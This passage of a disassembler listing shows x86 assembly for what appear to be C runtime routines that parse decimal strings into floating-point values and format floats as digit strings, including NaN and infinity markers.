; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D3A	proc near		; CODE XREF: sub_421E01+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421DAE
		push	edi
		mov	[ebp+arg_8], eax


loc_421D61:				; CODE XREF: sub_421D3A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_421CDF
		push	ebx
		call	sub_421CDF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421C81
		push	ebx
		call	sub_421CDF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421C81
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421D61
		xor	edx, edx
		pop	edi


loc_421DAE:				; CODE XREF: sub_421D3A+21j
					; sub_421D3A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_421DDB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421DAE
; ---------------------------------------------------------------------------


loc_421DDB:				; CODE XREF: sub_421D3A+77j
		mov	esi, 8000h


loc_421DE0:				; CODE XREF: sub_421D3A+B9j
		test	[ebx+8], esi
		jnz	short loc_421DF5
		push	ebx
		call	sub_421CDF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_421DE0
; ---------------------------------------------------------------------------


loc_421DF5:				; CODE XREF: sub_421D3A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421D3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E01	proc near		; CODE XREF: sub_421128+17p
					; sub_421155+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_421E3C:				; CODE XREF: sub_421E01+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421E52
		cmp	cl, 9
		jz	short loc_421E52
		cmp	cl, 0Ah
		jz	short loc_421E52
		cmp	cl, 0Dh
		jnz	short loc_421E55


loc_421E52:				; CODE XREF: sub_421E01+40j
					; sub_421E01+45j ...
		inc	edi
		jmp	short loc_421E3C
; ---------------------------------------------------------------------------


loc_421E55:				; CODE XREF: sub_421E01+4Fj
		push	4
		pop	esi


loc_421E58:				; CODE XREF: sub_421E01+AEj
					; sub_421E01+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4220DB	; default
					; jumptable 00421E64 case 10
		jmp	off_4222A2[eax*4] ; switch jump


loc_421E6B:				; DATA XREF: .nsp0:off_4222A2o
		cmp	bl, 31h		; jumptable 00421E64 case 0
		jl	short loc_421E7C
		cmp	bl, 39h
		jg	short loc_421E7C


loc_421E75:				; CODE XREF: sub_421E01+C4j
					; sub_421E01+118j
		push	3
		jmp	loc_422099
; ---------------------------------------------------------------------------


loc_421E7C:				; CODE XREF: sub_421E01+6Dj
					; sub_421E01+72j
		cmp	bl, byte_43F498
		jnz	short loc_421E8B


loc_421E84:				; CODE XREF: sub_421E01+124j
		push	5
		jmp	loc_4220D1
; ---------------------------------------------------------------------------


loc_421E8B:				; CODE XREF: sub_421E01+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421EB1
		dec	eax
		dec	eax
		jz	short loc_421EA5
		sub	eax, 3
		jnz	loc_422174
		jmp	loc_421F34
; ---------------------------------------------------------------------------


loc_421EA5:				; CODE XREF: sub_421E01+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_421E58
; ---------------------------------------------------------------------------


loc_421EB1:				; CODE XREF: sub_421E01+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_421E58
; ---------------------------------------------------------------------------


loc_421EBA:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		cmp	bl, 31h		; jumptable 00421E64 case 1
		mov	[ebp+var_10], edx
		jl	short loc_421EC7
		cmp	bl, 39h
		jle	short loc_421E75


loc_421EC7:				; CODE XREF: sub_421E01+BFj
		cmp	bl, byte_43F498
		jz	loc_421F8F
		cmp	bl, 2Bh
		jz	short loc_421F09
		cmp	bl, 2Dh
		jz	short loc_421F09
		cmp	bl, 30h
		jz	short loc_421F34


loc_421EE2:				; CODE XREF: sub_421E01+207j
		cmp	bl, 43h
		jle	loc_422174
		cmp	bl, 45h
		jle	short loc_421F02
		cmp	bl, 63h
		jle	loc_422174
		cmp	bl, 65h
		jg	loc_422174


loc_421F02:				; CODE XREF: sub_421E01+EDj
		push	6
		jmp	loc_4220D1
; ---------------------------------------------------------------------------


loc_421F09:				; CODE XREF: sub_421E01+D5j
					; sub_421E01+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4220D1
; ---------------------------------------------------------------------------


loc_421F11:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		cmp	bl, 31h		; jumptable 00421E64 case 2
		jl	short loc_421F1F
		cmp	bl, 39h
		jle	loc_421E75


loc_421F1F:				; CODE XREF: sub_421E01+113j
		cmp	bl, byte_43F498
		jz	loc_421E84
		cmp	bl, 30h
		jnz	loc_4220E9


loc_421F34:				; CODE XREF: sub_421E01+9Fj
					; sub_421E01+DFj
		mov	eax, edx
		jmp	loc_421E58
; ---------------------------------------------------------------------------


loc_421F3B:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		mov	[ebp+var_10], edx ; jumptable 00421E64 case 3


loc_421F3E:				; CODE XREF: sub_421E01+184j
		cmp	dword_43F494, edx
		jle	short loc_421F57
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_421F65
; ---------------------------------------------------------------------------


loc_421F57:				; CODE XREF: sub_421E01+143j
		mov	ecx, off_43F288
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_421F65:				; CODE XREF: sub_421E01+154j
		test	eax, eax
		jz	short loc_421F87
		cmp	[ebp+var_4], 19h
		jnb	short loc_421F7F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421F82
; ---------------------------------------------------------------------------


loc_421F7F:				; CODE XREF: sub_421E01+16Cj
		inc	[ebp+var_8]


loc_421F82:				; CODE XREF: sub_421E01+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421F3E
; ---------------------------------------------------------------------------


loc_421F87:				; CODE XREF: sub_421E01+166j
		cmp	bl, byte_43F498
		jnz	short loc_421FF6


loc_421F8F:				; CODE XREF: sub_421E01+CCj
		mov	eax, esi
		jmp	loc_421E58
; ---------------------------------------------------------------------------


loc_421F96:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		cmp	[ebp+var_4], 0	; jumptable 00421E64 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421FAF


loc_421FA2:				; CODE XREF: sub_421E01+1ACj
		cmp	bl, 30h
		jnz	short loc_421FAF
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421FA2
; ---------------------------------------------------------------------------


loc_421FAF:				; CODE XREF: sub_421E01+19Fj
					; sub_421E01+1A4j ...
		cmp	dword_43F494, edx
		jle	short loc_421FC8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_421FD6
; ---------------------------------------------------------------------------


loc_421FC8:				; CODE XREF: sub_421E01+1B4j
		mov	ecx, off_43F288
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_421FD6:				; CODE XREF: sub_421E01+1C5j
		test	eax, eax
		jz	short loc_421FF6
		cmp	[ebp+var_4], 19h
		jnb	short loc_421FF1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_421FF1:				; CODE XREF: sub_421E01+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421FAF
; ---------------------------------------------------------------------------


loc_421FF6:				; CODE XREF: sub_421E01+18Cj
					; sub_421E01+1D7j
		cmp	bl, 2Bh
		jz	loc_421F09
		cmp	bl, 2Dh
		jz	loc_421F09
		jmp	loc_421EE2
; ---------------------------------------------------------------------------


loc_42200D:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		cmp	dword_43F494, edx ; jumptable 00421E64 case 5
		mov	[ebp+var_24], edx
		jle	short loc_422029
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_422037
; ---------------------------------------------------------------------------


loc_422029:				; CODE XREF: sub_421E01+215j
		mov	ecx, off_43F288
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_422037:				; CODE XREF: sub_421E01+226j
		test	eax, eax
		jz	loc_4220E9
		mov	eax, esi
		jmp	short loc_42209A
; ---------------------------------------------------------------------------


loc_422043:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		lea	ecx, [edi-2]	; jumptable 00421E64 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_422053
		cmp	bl, 39h
		jle	short loc_422097


loc_422053:				; CODE XREF: sub_421E01+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4220CF
		dec	eax
		dec	eax
		jz	short loc_4220C3
		sub	eax, 3
		jnz	loc_422177


loc_422068:				; CODE XREF: sub_421E01+2A4j
		push	8
		jmp	short loc_4220D1
; ---------------------------------------------------------------------------


loc_42206C:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		mov	[ebp+var_20], edx ; jumptable 00421E64 case 8


loc_42206F:				; CODE XREF: sub_421E01+276j
		cmp	bl, 30h
		jnz	short loc_422079
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42206F
; ---------------------------------------------------------------------------


loc_422079:				; CODE XREF: sub_421E01+271j
		cmp	bl, 31h
		jl	loc_422174
		cmp	bl, 39h
		jg	loc_422174
		jmp	short loc_422097
; ---------------------------------------------------------------------------


loc_42208D:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		cmp	bl, 31h		; jumptable 00421E64 case 7
		jl	short loc_4220A0
		cmp	bl, 39h
		jg	short loc_4220A0


loc_422097:				; CODE XREF: sub_421E01+250j
					; sub_421E01+28Aj
		push	9


loc_422099:				; CODE XREF: sub_421E01+76j
		pop	eax


loc_42209A:				; CODE XREF: sub_421E01+240j
		dec	edi
		jmp	loc_421E58
; ---------------------------------------------------------------------------


loc_4220A0:				; CODE XREF: sub_421E01+28Fj
					; sub_421E01+294j
		cmp	bl, 30h
		jnz	short loc_4220E9
		jmp	short loc_422068
; ---------------------------------------------------------------------------


loc_4220A7:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		cmp	[ebp+arg_18], 0	; jumptable 00421E64 case 11
		jz	short loc_4220D7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4220CF
		dec	eax
		dec	eax
		jnz	loc_422177


loc_4220C3:				; CODE XREF: sub_421E01+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_421E58
; ---------------------------------------------------------------------------


loc_4220CF:				; CODE XREF: sub_421E01+258j
					; sub_421E01+2B8j
		push	7


loc_4220D1:				; CODE XREF: sub_421E01+85j
					; sub_421E01+103j ...
		pop	eax
		jmp	loc_421E58
; ---------------------------------------------------------------------------


loc_4220D7:				; CODE XREF: sub_421E01+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4220DB:				; CODE XREF: sub_421E01+5Dj
					; sub_421E01+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00421E64 case 10
		jz	loc_422179
		jmp	loc_421E58
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_421E01+12Dj
					; sub_421E01+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_422179
; ---------------------------------------------------------------------------


loc_4220F1:				; CODE XREF: sub_421E01+63j
					; DATA XREF: .nsp0:off_4222A2o
		mov	[ebp+var_20], 1	; jumptable 00421E64 case 9
		xor	esi, esi


loc_4220FA:				; CODE XREF: sub_421E01+339j
		cmp	dword_43F494, 1
		jle	short loc_422112
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_422121
; ---------------------------------------------------------------------------


loc_422112:				; CODE XREF: sub_421E01+300j
		mov	ecx, off_43F288
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_422121:				; CODE XREF: sub_421E01+30Fj
		test	eax, eax
		jz	short loc_422141
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42213C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4220FA
; ---------------------------------------------------------------------------


loc_42213C:				; CODE XREF: sub_421E01+334j
		mov	esi, 1451h


loc_422141:				; CODE XREF: sub_421E01+322j
		mov	[ebp+var_1C], esi


loc_422144:				; CODE XREF: sub_421E01+371j
		cmp	dword_43F494, 1
		jle	short loc_42215C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_42216B
; ---------------------------------------------------------------------------


loc_42215C:				; CODE XREF: sub_421E01+34Aj
		mov	ecx, off_43F288
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42216B:				; CODE XREF: sub_421E01+359j
		test	eax, eax
		jz	short loc_422174
		mov	bl, [edi]
		inc	edi
		jmp	short loc_422144
; ---------------------------------------------------------------------------


loc_422174:				; CODE XREF: sub_421E01+99j
					; sub_421E01+E4j ...
		dec	edi
		jmp	short loc_422179
; ---------------------------------------------------------------------------


loc_422177:				; CODE XREF: sub_421E01+261j
					; sub_421E01+2BCj
		mov	edi, ecx


loc_422179:				; CODE XREF: sub_421E01+2DDj
					; sub_421E01+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_422261
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_4221A5
		cmp	[ebp+var_45], 5
		jl	short loc_422199
		inc	[ebp+var_45]


loc_422199:				; CODE XREF: sub_421E01+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_4221A8
; ---------------------------------------------------------------------------


loc_4221A5:				; CODE XREF: sub_421E01+38Dj
		mov	eax, [ebp+var_C]


loc_4221A8:				; CODE XREF: sub_421E01+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_422257


loc_4221B2:				; CODE XREF: sub_421E01+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4221C0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4221B2
; ---------------------------------------------------------------------------


loc_4221C0:				; CODE XREF: sub_421E01+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421D3A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4221DF
		neg	eax


loc_4221DF:				; CODE XREF: sub_421E01+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4221EA
		add	eax, [ebp+arg_10]


loc_4221EA:				; CODE XREF: sub_421E01+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4221F2
		sub	eax, [ebp+arg_14]


loc_4221F2:				; CODE XREF: sub_421E01+3ECj
		cmp	eax, 1450h
		jle	short loc_422229
		mov	[ebp+var_2C], 1


loc_422200:				; CODE XREF: sub_421E01+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_42220C:				; CODE XREF: sub_421E01+454j
					; sub_421E01+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_422272
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_422287
; ---------------------------------------------------------------------------


loc_422229:				; CODE XREF: sub_421E01+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_422239
		mov	[ebp+var_30], 1
		jmp	short loc_422200
; ---------------------------------------------------------------------------


loc_422239:				; CODE XREF: sub_421E01+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4229EA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_42220C
; ---------------------------------------------------------------------------


loc_422257:				; CODE XREF: sub_421E01+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_42220C
; ---------------------------------------------------------------------------


loc_422261:				; CODE XREF: sub_421E01+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_422287
; ---------------------------------------------------------------------------


loc_422272:				; CODE XREF: sub_421E01+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_422287
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_422287:				; CODE XREF: sub_421E01+426j
					; sub_421E01+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_421E01	endp

; ---------------------------------------------------------------------------
off_4222A2	dd offset loc_421E6B	; DATA XREF: sub_421E01+63r
		dd offset loc_421EBA	; jump table for switch	statement
		dd offset loc_421F11
		dd offset loc_421F3B
		dd offset loc_421F96
		dd offset loc_42200D
		dd offset loc_422043
		dd offset loc_42208D
		dd offset loc_42206C
		dd offset loc_4220F1
		dd offset loc_4220DB
		dd offset loc_4220A7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222D2	proc near		; CODE XREF: sub_4211F9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_422334
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_422338
; ---------------------------------------------------------------------------


loc_422334:				; CODE XREF: sub_4222D2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_422338:				; CODE XREF: sub_4222D2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42235E
		test	edi, edi
		jnz	short loc_42235E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42235E


loc_422349:				; CODE XREF: sub_4222D2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42255C
; ---------------------------------------------------------------------------


loc_42235E:				; CODE XREF: sub_4222D2+6Cj
					; sub_4222D2+70j ...
		cmp	dx, si
		jnz	short loc_4223DD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_422377
		cmp	[ebp+arg_0], 0
		jz	short loc_422386


loc_422377:				; CODE XREF: sub_4222D2+9Dj
		test	edi, 40000000h
		jnz	short loc_422386
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4223CC
; ---------------------------------------------------------------------------


loc_422386:				; CODE XREF: sub_4222D2+A3j
					; sub_4222D2+ABj
		test	cx, cx
		jz	short loc_4223A0
		cmp	edi, 0C0000000h
		jnz	short loc_4223A0
		cmp	[ebp+arg_0], 0
		jnz	short loc_4223C7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4223AF
; ---------------------------------------------------------------------------


loc_4223A0:				; CODE XREF: sub_4222D2+B7j
					; sub_4222D2+BFj
		cmp	edi, eax
		jnz	short loc_4223C7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4223C7
		push	offset a1Inf	; "1#INF"


loc_4223AF:				; CODE XREF: sub_4222D2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_418C10
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4223BE:				; CODE XREF: sub_4222D2+109j
		and	[ebp+var_4], 0
		jmp	loc_422535
; ---------------------------------------------------------------------------


loc_4223C7:				; CODE XREF: sub_4222D2+C5j
					; sub_4222D2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4223CC:				; CODE XREF: sub_4222D2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_418C10
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4223BE
; ---------------------------------------------------------------------------


loc_4223DD:				; CODE XREF: sub_4222D2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4229EA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42243E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4227CA
		pop	ecx
		pop	ecx


loc_42243E:				; CODE XREF: sub_4222D2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_422458
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42245B
		jmp	loc_422349
; ---------------------------------------------------------------------------


loc_422458:				; CODE XREF: sub_4222D2+173j
		mov	edi, [ebp+arg_C]


loc_42245B:				; CODE XREF: sub_4222D2+17Fj
		cmp	edi, 15h
		jle	short loc_422463
		push	15h
		pop	edi


loc_422463:				; CODE XREF: sub_4222D2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_422479:				; CODE XREF: sub_4222D2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421CDF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_422479
		test	esi, esi
		jge	short loc_4224A3
		neg	esi
		and	esi, 0FFh
		jle	short loc_4224A3


loc_422496:				; CODE XREF: sub_4222D2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421D0D
		dec	esi
		pop	ecx
		jnz	short loc_422496


loc_4224A3:				; CODE XREF: sub_4222D2+1B8j
					; sub_4222D2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_422500
		mov	[ebp+arg_C], ecx


loc_4224B3:				; CODE XREF: sub_4222D2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_421CDF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421CDF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421C81
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421CDF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4224B3
		mov	eax, [ebp+arg_14]


loc_422500:				; CODE XREF: sub_4222D2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42253D


loc_42250D:				; CODE XREF: sub_4222D2+248j
		cmp	eax, ecx
		jb	short loc_422520
		cmp	byte ptr [eax],	39h
		jnz	short loc_42251C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_42250D
; ---------------------------------------------------------------------------


loc_42251C:				; CODE XREF: sub_4222D2+242j
		cmp	eax, ecx
		jnb	short loc_422524


loc_422520:				; CODE XREF: sub_4222D2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_422524:				; CODE XREF: sub_4222D2+24Cj
		inc	byte ptr [eax]


loc_422526:				; CODE XREF: sub_4222D2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_422535:				; CODE XREF: sub_4222D2+F0j
		mov	eax, [ebp+var_4]


loc_422538:				; CODE XREF: sub_4222D2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42253D:				; CODE XREF: sub_4222D2+239j
					; sub_4222D2+275j
		cmp	eax, ecx
		jb	short loc_42254D
		cmp	byte ptr [eax],	30h
		jnz	short loc_422549
		dec	eax
		jmp	short loc_42253D
; ---------------------------------------------------------------------------


loc_422549:				; CODE XREF: sub_4222D2+272j
		cmp	eax, ecx
		jnb	short loc_422526


loc_42254D:				; CODE XREF: sub_4222D2+26Dj
		and	word ptr [ebx],	0
